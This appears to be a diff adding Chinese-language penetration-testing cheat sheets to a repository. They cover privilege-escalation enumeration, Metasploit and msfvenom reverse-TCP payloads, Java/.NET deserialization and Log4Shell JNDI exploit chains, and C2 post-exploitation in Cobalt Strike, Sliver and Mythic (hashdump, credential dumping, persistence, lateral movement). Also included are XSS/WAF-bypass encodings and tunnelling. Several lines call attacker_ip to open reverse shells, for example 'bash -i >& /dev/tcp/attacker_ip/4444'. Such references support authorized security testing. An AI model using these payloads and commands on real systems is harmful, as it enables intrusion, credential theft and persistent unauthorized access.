**Step 0**
|
||||
> 获取系统版本信息
|
||||
_platform: linux_
|
||||
```
|
||||
uname -a
|
||||
cat /etc/issue
|
||||
cat /etc/*-release
|
||||
cat /proc/version
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 获取用户信息
|
||||
_platform: linux_
|
||||
```
|
||||
id
|
||||
whoami
|
||||
w
|
||||
last
|
||||
cat /etc/passwd
|
||||
cat /etc/shadow
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 查找SUID权限文件
|
||||
_platform: linux_
|
||||
```
|
||||
find / -perm -4000 -type f 2>/dev/null
|
||||
find / -perm -u=s -type f 2>/dev/null
|
||||
```
|
||||
**语法解析：**
|
||||
- `-perm -4000` — SUID权限位 _parameter_
|
||||
- `-type f` — 文件类型 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 查看SUDO权限配置
|
||||
_platform: linux_
|
||||
```
|
||||
sudo -l
|
||||
cat /etc/sudoers
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 查找可写目录
|
||||
_platform: linux_
|
||||
```
|
||||
find / -writable -type d 2>/dev/null
|
||||
find / -perm -222 -type d 2>/dev/null
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 搜索内核漏洞
|
||||
_platform: linux_
|
||||
```
|
||||
searchsploit linux kernel $(uname -r)
|
||||
./linux-exploit-suggester.sh
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 查看计划任务
|
||||
_platform: linux_
|
||||
```
|
||||
cat /etc/crontab
|
||||
ls -la /etc/cron*
|
||||
crontab -l
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 查看环境变量
|
||||
_platform: linux_
|
||||
```
|
||||
env
|
||||
set
|
||||
echo $PATH
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 查找敏感文件
|
||||
_platform: linux_
|
||||
```
|
||||
cat /root/.bash_history
|
||||
cat ~/.ssh/authorized_keys
|
||||
cat /etc/shadow
|
||||
find / -name "*.key" 2>/dev/null
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 检测Docker环境
|
||||
_platform: linux_
|
||||
```
|
||||
cat /proc/1/cgroup
|
||||
fdisk -l
|
||||
capsh --print
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### WinPEAS `winpeas-tool`
|
||||
_Windows提权辅助工具_
|
||||
|
||||
**Step 0**
|
||||
> 执行完整提权扫描
|
||||
_platform: windows_
|
||||
```
|
||||
winpeas.exe
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 快速扫描模式
|
||||
_platform: windows_
|
||||
```
|
||||
winpeas.exe fast
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 显示详细命令输出
|
||||
_platform: windows_
|
||||
```
|
||||
winpeas.exe cmd
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 保存扫描结果
|
||||
_platform: windows_
|
||||
```
|
||||
winpeas.exe > output.txt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### LinPEAS `linpeas-tool`
|
||||
_Linux提权辅助工具_
|
||||
|
||||
**Step 0**
|
||||
> 执行完整提权扫描
|
||||
_platform: linux_
|
||||
```
|
||||
./linpeas.sh
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 自动发现模式
|
||||
_platform: linux_
|
||||
```
|
||||
./linpeas.sh -a
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 检查密码策略
|
||||
_platform: linux_
|
||||
```
|
||||
./linpeas.sh -P
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 保存扫描结果
|
||||
_platform: linux_
|
||||
```
|
||||
./linpeas.sh > output.txt
|
||||
```
|
||||
|
||||
---
|
||||
@@ -0,0 +1,445 @@
|
||||
# 漏洞利用
|
||||
|
||||
_11 条工具命令_
|
||||
|
||||
### Metasploit `metasploit`
|
||||
_渗透测试框架_
|
||||
|
||||
**Step 0**
|
||||
> 启动Metasploit控制台
|
||||
_platform: linux_
|
||||
```
|
||||
msfconsole
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 搜索相关漏洞模块
|
||||
_platform: linux_
|
||||
```
|
||||
search exploit apache
|
||||
```
|
||||
**语法解析：**
|
||||
- `search` — 搜索命令 _command_
|
||||
- `exploit` — 模块类型 _value_
|
||||
- `apache` — 搜索关键词 _value_
|
||||
|
||||
**Step 0**
|
||||
> 选择要使用的模块
|
||||
_platform: linux_
|
||||
```
|
||||
use exploit/multi/handler
|
||||
```
|
||||
**语法解析：**
|
||||
- `use` — 使用模块命令 _command_
|
||||
- `exploit/multi/handler` — 模块路径 _value_
|
||||
|
||||
**Step 0**
|
||||
> 显示模块配置选项
|
||||
_platform: linux_
|
||||
```
|
||||
show options
|
||||
```
|
||||
**语法解析：**
|
||||
- `show` — 显示命令 _command_
|
||||
- `options` — 配置选项 _value_
|
||||
|
||||
**Step 0**
|
||||
> 设置模块参数
|
||||
_platform: linux_
|
||||
```
|
||||
set RHOSTS 192.168.1.100
|
||||
```
|
||||
**语法解析：**
|
||||
- `set` — 设置参数命令 _command_
|
||||
- `RHOSTS` — 目标主机参数 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 设置攻击载荷
|
||||
_platform: linux_
|
||||
```
|
||||
set PAYLOAD windows/meterpreter/reverse_tcp
|
||||
```
|
||||
**语法解析：**
|
||||
- `PAYLOAD` — 载荷参数 _parameter_
|
||||
- `windows/meterpreter/reverse_tcp` — 反向TCP连接的Meterpreter载荷 _value_
|
||||
|
||||
**Step 0**
|
||||
> 执行攻击
|
||||
_platform: linux_
|
||||
```
|
||||
exploit
|
||||
```
|
||||
**语法解析：**
|
||||
- `exploit` — 执行攻击命令 _command_
|
||||
|
||||
**Step 0**
|
||||
> 在后台执行攻击
|
||||
_platform: linux_
|
||||
```
|
||||
exploit -j
|
||||
```
|
||||
**语法解析：**
|
||||
- `-j` — 后台任务模式 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 使用msfvenom生成恶意文件
|
||||
_platform: linux_
|
||||
```
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=4444 -f exe -o payload.exe
|
||||
```
|
||||
**语法解析：**
|
||||
- `msfvenom` — MSF载荷生成工具 _command_
|
||||
- `-p` — 指定载荷 _parameter_
|
||||
- `-f exe` — 输出格式 _parameter_
|
||||
- `-o` — 输出文件 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> Meterpreter会话中的常用命令
|
||||
_platform: linux_
|
||||
```
|
||||
sysinfo
|
||||
getuid
|
||||
hashdump
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Searchsploit `searchsploit`
|
||||
_Exploit-DB本地搜索工具，离线查找漏洞利用代码_
|
||||
|
||||
**Step 0**
|
||||
> 按关键词搜索漏洞利用
|
||||
```
|
||||
searchsploit apache 2.4
|
||||
searchsploit wordpress 5.0
|
||||
```
|
||||
**语法解析：**
|
||||
- `searchsploit` — Exploit-DB本地搜索工具 _command_
|
||||
|
||||
**Step 0**
|
||||
> 精确匹配和排除关键词
|
||||
```
|
||||
searchsploit -e "Apache Tomcat"
|
||||
searchsploit --exclude="dos" windows smb
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 复制exploit到当前目录或显示路径
|
||||
```
|
||||
searchsploit -m 44228
|
||||
searchsploit -p 44228
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> JSON格式输出便于脚本处理
|
||||
```
|
||||
searchsploit -j apache | jq ".RESULTS_EXPLOIT[]"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### ExploitDB `exploitdb`
|
||||
_漏洞利用代码数据库在线搜索_
|
||||
|
||||
**Step 0**
|
||||
> 在线搜索漏洞利用代码
|
||||
```
|
||||
# 访问 https://www.exploit-db.com
|
||||
# 搜索框输入: Apache Struts
|
||||
# 或使用Google Dork:
|
||||
site:exploit-db.com "Apache Struts" RCE
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 通过API搜索(需要合适的请求头)
|
||||
```
|
||||
curl "https://www.exploit-db.com/search?q=wordpress+5.0" -H "X-Requested-With: XMLHttpRequest"
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 使用ExploitDB的Google Hacking数据库
|
||||
```
|
||||
# ExploitDB收录的Google Dorks:
|
||||
https://www.exploit-db.com/google-hacking-database
|
||||
# 搜索泄露的配置文件、数据库等
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### ysoserial `ysoserial`
|
||||
_Java反序列化漏洞利用Payload生成工具_
|
||||
|
||||
**Step 0**
|
||||
> 使用指定Gadget Chain生成反序列化Payload
|
||||
```
|
||||
java -jar ysoserial.jar CommonsCollections1 "id" | base64
|
||||
java -jar ysoserial.jar CommonsCollections5 "whoami" > payload.bin
|
||||
```
|
||||
**语法解析：**
|
||||
- `CommonsCollections1` — Gadget Chain名称(依赖目标classpath) _parameter_
|
||||
- `"id"` — 要执行的系统命令 _value_
|
||||
|
||||
**Step 0**
|
||||
> 列出所有可用的Gadget Chain
|
||||
```
|
||||
java -jar ysoserial.jar --help
|
||||
# 常用: CommonsCollections1-7, Jdk7u21, URLDNS, JRMPClient
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 通过JRMP协议进行远程利用
|
||||
```
|
||||
# 监听端(攻击机):
|
||||
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "bash -c {echo,base64_cmd}|{base64,-d}|{bash,-i}"
|
||||
|
||||
# 发送JRMP客户端Payload:
|
||||
java -jar ysoserial.jar JRMPClient attacker_ip:1099 > jrmp.bin
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 使用URLDNS链探测反序列化漏洞(无需依赖)
|
||||
```
|
||||
java -jar ysoserial.jar URLDNS "http://your_dnslog.com/test" | base64
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### ysoserial.net `ysoserial-net`
|
||||
_.NET反序列化Payload生成工具_
|
||||
|
||||
**Step 0**
|
||||
> 生成.NET反序列化Payload
|
||||
_platform: windows_
|
||||
```
|
||||
ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c "calc" -o base64
|
||||
```
|
||||
**语法解析：**
|
||||
- `-g` — Gadget Chain名称 _parameter_
|
||||
- `-f` — 序列化格式(BinaryFormatter/ObjectStateFormatter等) _parameter_
|
||||
- `-c` — 要执行的命令 _parameter_
|
||||
- `-o base64` — Base64编码输出 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 伪造ASP.NET ViewState执行命令
|
||||
_platform: windows_
|
||||
```
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --validationalg=SHA1 --validationkey=MACHINE_KEY --generator=GENERATOR
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 列出所有可用的Gadget Chain和格式
|
||||
_platform: windows_
|
||||
```
|
||||
ysoserial.exe -l
|
||||
# 常用: TextFormattingRunProperties, TypeConfuseDelegate, PSObject
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Marshalsec `marshalsec`
|
||||
_Java反序列化利用工具，支持多种Marshal格式和JNDI注入_
|
||||
|
||||
**Step 0**
|
||||
> 启动恶意LDAP服务器用于JNDI注入(Log4Shell等)
|
||||
```
|
||||
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker_ip:8888/#Exploit" 1389
|
||||
```
|
||||
**语法解析：**
|
||||
- `LDAPRefServer` — 启动LDAP Reference服务器 _command_
|
||||
- `"http://attacker_ip:8888/#Exploit"` — 恶意class文件托管URL _value_
|
||||
- `1389` — LDAP服务监听端口 _value_
|
||||
|
||||
**Step 0**
|
||||
> 启动恶意RMI服务器
|
||||
```
|
||||
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://attacker_ip:8888/#Exploit" 1099
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 配合Log4j2 RCE完整利用链
|
||||
```
|
||||
# 1. 编译恶意class: javac Exploit.java
|
||||
# 2. 托管class: python3 -m http.server 8888
|
||||
# 3. 启动LDAP: java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://ip:8888/#Exploit" 1389
|
||||
# 4. 触发: ${jndi:ldap://ip:1389/Exploit}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### JNDIExploit `jndi-exploit`
|
||||
_JNDI注入利用工具，集成多种Gadget和Bypass_
|
||||
|
||||
**Step 0**
|
||||
> 启动JNDI Exploit服务(同时监听LDAP 1389和HTTP 3456)
|
||||
```
|
||||
java -jar JNDIExploit.jar -i attacker_ip
|
||||
```
|
||||
**语法解析：**
|
||||
- `-i` — 攻击机IP地址 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 通过不同路由执行命令或反弹Shell
|
||||
```
|
||||
# 触发Payload:
|
||||
${jndi:ldap://attacker_ip:1389/Basic/Command/Base64/Y21k}
|
||||
${jndi:ldap://attacker_ip:1389/Basic/ReverseShell/attacker_ip/4444}
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 绕过高版本JDK的trustURLCodebase限制
|
||||
```
|
||||
# 使用Tomcat Bypass:
|
||||
${jndi:ldap://attacker_ip:1389/TomcatBypass/Command/Base64/d2hvYW1p}
|
||||
# 使用反序列化Bypass:
|
||||
${jndi:ldap://attacker_ip:1389/Deserialization/CommonsCollections5/Command/Base64/d2hvYW1p}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Rogue JNDI `rogue-jndi`
|
||||
_恶意JNDI服务器，提供多种攻击向量_
|
||||
|
||||
**Step 0**
|
||||
> 启动恶意JNDI服务(LDAP+RMI+HTTP)
|
||||
```
|
||||
java -jar RogueJndi.jar --command "whoami" --hostname attacker_ip
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 配置反弹Shell命令
|
||||
```
|
||||
java -jar RogueJndi.jar --command "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" --hostname attacker_ip
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 在目标注入JNDI Lookup触发利用
|
||||
```
|
||||
# LDAP: ${jndi:ldap://attacker_ip:1389/o=reference}
|
||||
# RMI: ${jndi:rmi://attacker_ip:1099/o=reference}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Cobalt Strike `cobalt-strike`
|
||||
_商业化红队C2框架，支持多种攻击和后渗透功能_
|
||||
|
||||
**Step 0**
|
||||
> 启动CS服务端
|
||||
_platform: linux_
|
||||
```
|
||||
./teamserver your_ip your_password malleable_c2_profile.profile
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 通过图形界面生成各类Payload
|
||||
```
|
||||
# GUI操作:
|
||||
# Attacks > Packages > Windows Executable (S)
|
||||
# Attacks > Packages > HTML Application
|
||||
# Attacks > Web Drive-by > Scripted Web Delivery
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 获取Beacon后的常用后渗透命令
|
||||
_platform: windows_
|
||||
```
|
||||
# 基础信息
|
||||
whoami
|
||||
shell ipconfig
|
||||
getuid
|
||||
|
||||
# 横向移动
|
||||
jump psexec target_ip SMB_listener
|
||||
jump winrm target_ip HTTP_listener
|
||||
|
||||
# 凭证获取
|
||||
hashdump
|
||||
logonpasswords
|
||||
|
||||
# 持久化
|
||||
persist-service
|
||||
persist-registry
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 使用Malleable C2 Profile伪装通信流量
|
||||
_platform: linux_
|
||||
```
|
||||
# 使用C2 Profile伪装流量:
|
||||
# https://github.com/rsmudge/Malleable-C2-Profiles
|
||||
./teamserver ip pass jquery-c2.4.0.profile
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Sliver `sliver`
|
||||
_开源跨平台红队C2框架，Cobalt Strike替代品_
|
||||
|
||||
**Step 0**
|
||||
> 启动Sliver服务端
|
||||
_platform: linux_
|
||||
```
|
||||
sliver-server
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 生成各平台的植入体
|
||||
```
|
||||
# 在Sliver控制台:
|
||||
generate --mtls attacker_ip --os windows --arch amd64 --save implant.exe
|
||||
generate --http attacker_ip --os linux --format shared --save implant.so
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 启动mTLS/HTTPS/WireGuard监听器
|
||||
```
|
||||
mtls -l 8888
|
||||
https -l 443 -d example.com
|
||||
wg -l 51820
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 常用后渗透操作命令
|
||||
```
|
||||
# 获取Session后:
|
||||
info
|
||||
getuid
|
||||
ps
|
||||
download /etc/shadow
|
||||
upload local_file /tmp/remote
|
||||
execute -o whoami
|
||||
pivots tcp --bind 0.0.0.0:9050
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Mythic `mythic`
|
||||
_模块化C2框架，支持多种Agent和自定义扩展_
|
||||
|
||||
**Step 0**
|
||||
> 安装Apollo(Windows)或Poseidon(Linux) Agent
|
||||
_platform: linux_
|
||||
```
|
||||
sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo
|
||||
sudo ./mythic-cli install github https://github.com/MythicAgents/Poseidon
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 通过Web界面管理C2操作
|
||||
```
|
||||
https://attacker_ip:7443
|
||||
# 默认账号: mythic_admin
|
||||
# 密码查看: cat .env | grep MYTHIC_ADMIN_PASSWORD
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 通过图形界面配置和生成Payload
|
||||
```
|
||||
# 在Web界面:
|
||||
# 1. 创建Payload Profile
|
||||
# 2. 选择Agent类型(Apollo/Poseidon等)
|
||||
# 3. 配置C2 Profile
|
||||
# 4. 生成Payload下载
|
||||
```
|
||||
|
||||
---
|
||||
@@ -0,0 +1,64 @@
|
||||
# 红队工具
|
||||
|
||||
_1 条工具命令_
|
||||
|
||||
### Cobalt Strike `cobaltstrike-tool`
|
||||
_红队渗透测试框架_
|
||||
|
||||
**Step 0**
|
||||
> 启动团队服务器
|
||||
_platform: linux_
|
||||
```
|
||||
./teamserver ip password [C2配置文件]
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 生成可执行Payload
|
||||
```
|
||||
Attacks -> Packages -> Windows Executable
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 添加监听器
|
||||
```
|
||||
Cobalt Strike -> Listeners -> Add
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> Beacon常用命令
|
||||
```
|
||||
shell whoami
|
||||
ps
|
||||
hashdump
|
||||
mimikatz
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> SMB Beacon横向
|
||||
_platform: windows_
|
||||
```
|
||||
beacon> link target_ip
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 启动SOCKS代理
|
||||
_platform: windows_
|
||||
```
|
||||
beacon> socks 1080
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 窃取进程令牌
|
||||
_platform: windows_
|
||||
```
|
||||
beacon> steal_token PID
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 以其他用户运行
|
||||
_platform: windows_
|
||||
```
|
||||
beacon> runas domain\user password command
|
||||
```
|
||||
|
||||
---
|
||||
@@ -0,0 +1,226 @@
|
||||
# 编码解码
|
||||
|
||||
_6 条工具命令_
|
||||
|
||||
### Base64编码 `base64-encode`
|
||||
_Base64编码/解码命令集合_
|
||||
|
||||
**Step 0**
|
||||
> 各平台Base64编码方法
|
||||
```
|
||||
# Linux:
|
||||
echo -n "payload" | base64
|
||||
base64 file.txt > encoded.txt
|
||||
|
||||
# Windows PowerShell:
|
||||
[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("payload"))
|
||||
|
||||
# Python:
|
||||
python3 -c "import base64; print(base64.b64encode(b'payload').decode())"
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 各平台Base64解码方法
|
||||
```
|
||||
# Linux:
|
||||
echo "cGF5bG9hZA==" | base64 -d
|
||||
base64 -d encoded.txt > decoded.txt
|
||||
|
||||
# Windows PowerShell:
|
||||
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("cGF5bG9hZA=="))
|
||||
|
||||
# Python:
|
||||
python3 -c "import base64; print(base64.b64decode('cGF5bG9hZA==').decode())"
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> URL安全的Base64编码(+/替换为-_)
|
||||
```
|
||||
# Python:
|
||||
import base64
|
||||
base64.urlsafe_b64encode(b"payload").decode()
|
||||
base64.urlsafe_b64decode("cGF5bG9hZA==").decode()
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### URL编码 `url-encode`
|
||||
_URL编码/解码命令集合_
|
||||
|
||||
**Step 0**
|
||||
> URL编码方法(单次/双重)
|
||||
```
|
||||
# Python:
|
||||
python3 -c "from urllib.parse import quote; print(quote('<script>alert(1)</script>'))"
|
||||
|
||||
# 双重编码:
|
||||
python3 -c "from urllib.parse import quote; print(quote(quote('<script>alert(1)</script>')))"
|
||||
|
||||
# CyberChef在线: https://gchq.github.io/CyberChef/
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> URL解码方法
|
||||
```
|
||||
# Python:
|
||||
python3 -c "from urllib.parse import unquote; print(unquote('%3Cscript%3Ealert(1)%3C%2Fscript%3E'))"
|
||||
|
||||
# Linux:
|
||||
printf '%b' "\x3Cscript\x3E"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Hex编码 `hex-encode`
|
||||
_十六进制编码/解码命令集合_
|
||||
|
||||
**Step 0**
|
||||
> 十六进制编码方法
|
||||
```
|
||||
# Linux:
|
||||
echo -n "payload" | xxd -p
|
||||
echo -n "payload" | od -A n -t x1 | tr -d " \n"
|
||||
|
||||
# Python:
|
||||
python3 -c "print('payload'.encode().hex())"
|
||||
python3 -c "print('\\x'.join([hex(ord(c))[2:] for c in 'payload']))"
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 十六进制解码方法
|
||||
```
|
||||
# Linux:
|
||||
echo "7061796c6f6164" | xxd -r -p
|
||||
|
||||
# Python:
|
||||
python3 -c "print(bytes.fromhex('7061796c6f6164').decode())"
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 在SQL注入和XSS中使用十六进制编码
|
||||
```
|
||||
# SQL注入中使用:
|
||||
SELECT 0x61646D696E -- "admin"
|
||||
|
||||
# XSS中使用:
|
||||
<img src=x onerror=\x61\x6c\x65\x72\x74(1)>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### HTML编码 `html-encode`
|
||||
_HTML实体编码/解码命令集合_
|
||||
|
||||
**Step 0**
|
||||
> HTML实体编码(命名/十进制/十六进制)
|
||||
```
|
||||
# Python:
|
||||
python3 -c "import html; print(html.escape('<script>alert(1)</script>'))"
|
||||
|
||||
# 数字编码:
|
||||
python3 -c "print(''.join(['&#'+str(ord(c))+';' for c in '<script>alert(1)</script>']))"
|
||||
|
||||
# 十六进制HTML编码:
|
||||
python3 -c "print(''.join(['&#x'+hex(ord(c))[2:]+';' for c in 'alert']))"
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> HTML实体解码
|
||||
```
|
||||
# Python:
|
||||
python3 -c "import html; print(html.unescape('<script>alert(1)</script>'))"
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> XSS绕过常用的HTML实体对照
|
||||
```
|
||||
# 常用HTML实体:
|
||||
# < => < 或 < 或 <
|
||||
# > => > 或 > 或 >
|
||||
# " => " 或 " 或 "
|
||||
# ' => ' 或 ' 或 '
|
||||
# & => & 或 & 或 &
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Unicode编码 `unicode-encode`
|
||||
_Unicode编码/解码命令集合_
|
||||
|
||||
**Step 0**
|
||||
> Unicode各种编码形式
|
||||
```
|
||||
# Python Unicode转义:
|
||||
python3 -c "print(''.join(['\\u'+hex(ord(c))[2:].zfill(4) for c in 'alert']))"
|
||||
# 输出: \u0061\u006c\u0065\u0072\u0074
|
||||
|
||||
# UTF-8字节:
|
||||
python3 -c "print('alert'.encode('utf-8'))"
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> Unicode解码方法
|
||||
```
|
||||
# Python:
|
||||
python3 -c "print('\\u0061\\u006c\\u0065\\u0072\\u0074'.encode().decode('unicode_escape'))"
|
||||
|
||||
# JavaScript:
|
||||
console.log("\u0061\u006c\u0065\u0072\u0074")
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 使用Unicode编码绕过WAF/过滤
|
||||
```
|
||||
# JavaScript Unicode绕过:
|
||||
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
|
||||
|
||||
# Overlong UTF-8编码:
|
||||
# / => %c0%af (可绕过路径过滤)
|
||||
# . => %c0%ae
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### JWT解码 `jwt-decode`
|
||||
_JWT(JSON Web Token)解码和分析工具_
|
||||
|
||||
**Step 0**
|
||||
> 使用在线工具解码JWT
|
||||
```
|
||||
# 在线工具:
|
||||
# https://jwt.io
|
||||
# https://token.dev
|
||||
# 粘贴JWT即可查看Header和Payload
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 使用Python命令行解码JWT
|
||||
```
|
||||
# Python:
|
||||
python3 -c "
|
||||
import base64, json, sys
|
||||
token = sys.argv[1]
|
||||
parts = token.split('.')
|
||||
for i, part in enumerate(parts[:2]):
|
||||
padded = part + '=' * (4 - len(part) % 4)
|
||||
decoded = base64.urlsafe_b64decode(padded)
|
||||
print(json.dumps(json.loads(decoded), indent=2))
|
||||
" YOUR_JWT_HERE
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> JWT结构分析和安全检查要点
|
||||
```
|
||||
# JWT结构: Header.Payload.Signature
|
||||
# Header: {"alg":"HS256","typ":"JWT"}
|
||||
# Payload: {"sub":"1234","name":"user","iat":1516239022}
|
||||
# Signature: HMACSHA256(base64url(header)+"."+base64url(payload), secret)
|
||||
|
||||
# 检查要点:
|
||||
# 1. alg是否可改为none
|
||||
# 2. 密钥是否为弱密码
|
||||
# 3. 是否可将RS256改为HS256
|
||||
# 4. exp是否已过期
|
||||
```
|
||||
|
||||
---
|
||||
@@ -0,0 +1,84 @@
|
||||
# 隧道代理
|
||||
|
||||
_2 条工具命令_
|
||||
|
||||
### Chisel `chisel-tool`
|
||||
_HTTP隧道工具_
|
||||
|
||||
**Step 0**
|
||||
> 启动服务端
|
||||
_platform: linux_
|
||||
```
|
||||
./chisel server -p 8000 --reverse
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 建立反向SOCKS代理
|
||||
_platform: windows_
|
||||
```
|
||||
chisel.exe client attacker_ip:8000 R:socks
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 端口转发
|
||||
_platform: windows_
|
||||
```
|
||||
chisel.exe client attacker_ip:8000 R:3389:127.0.0.1:3389
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 建立正向SOCKS代理
|
||||
_platform: windows_
|
||||
```
|
||||
chisel.exe client attacker_ip:8000 socks
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 多端口转发
|
||||
_platform: windows_
|
||||
```
|
||||
chisel.exe client attacker_ip:8000 R:80:127.0.0.1:80 R:3389:127.0.0.1:3389
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Ligolo-ng `ligolo-tool`
|
||||
_隧道工具_
|
||||
|
||||
**Step 0**
|
||||
> 启动代理服务器
|
||||
_platform: linux_
|
||||
```
|
||||
sudo proxy -selfcert
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> Agent连接到代理
|
||||
_platform: windows_
|
||||
```
|
||||
agent.exe -connect attacker_ip:11601 -ignore-cert
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 选择会话
|
||||
_platform: linux_
|
||||
```
|
||||
session
|
||||
session_select_id
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 启动隧道
|
||||
_platform: linux_
|
||||
```
|
||||
start_tunnel
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 添加目标网段
|
||||
_platform: linux_
|
||||
```
|
||||
interface_add_route 10.10.10.0/24
|
||||
```
|
||||
|
||||
---
|
||||
Reference in New Issue
Block a user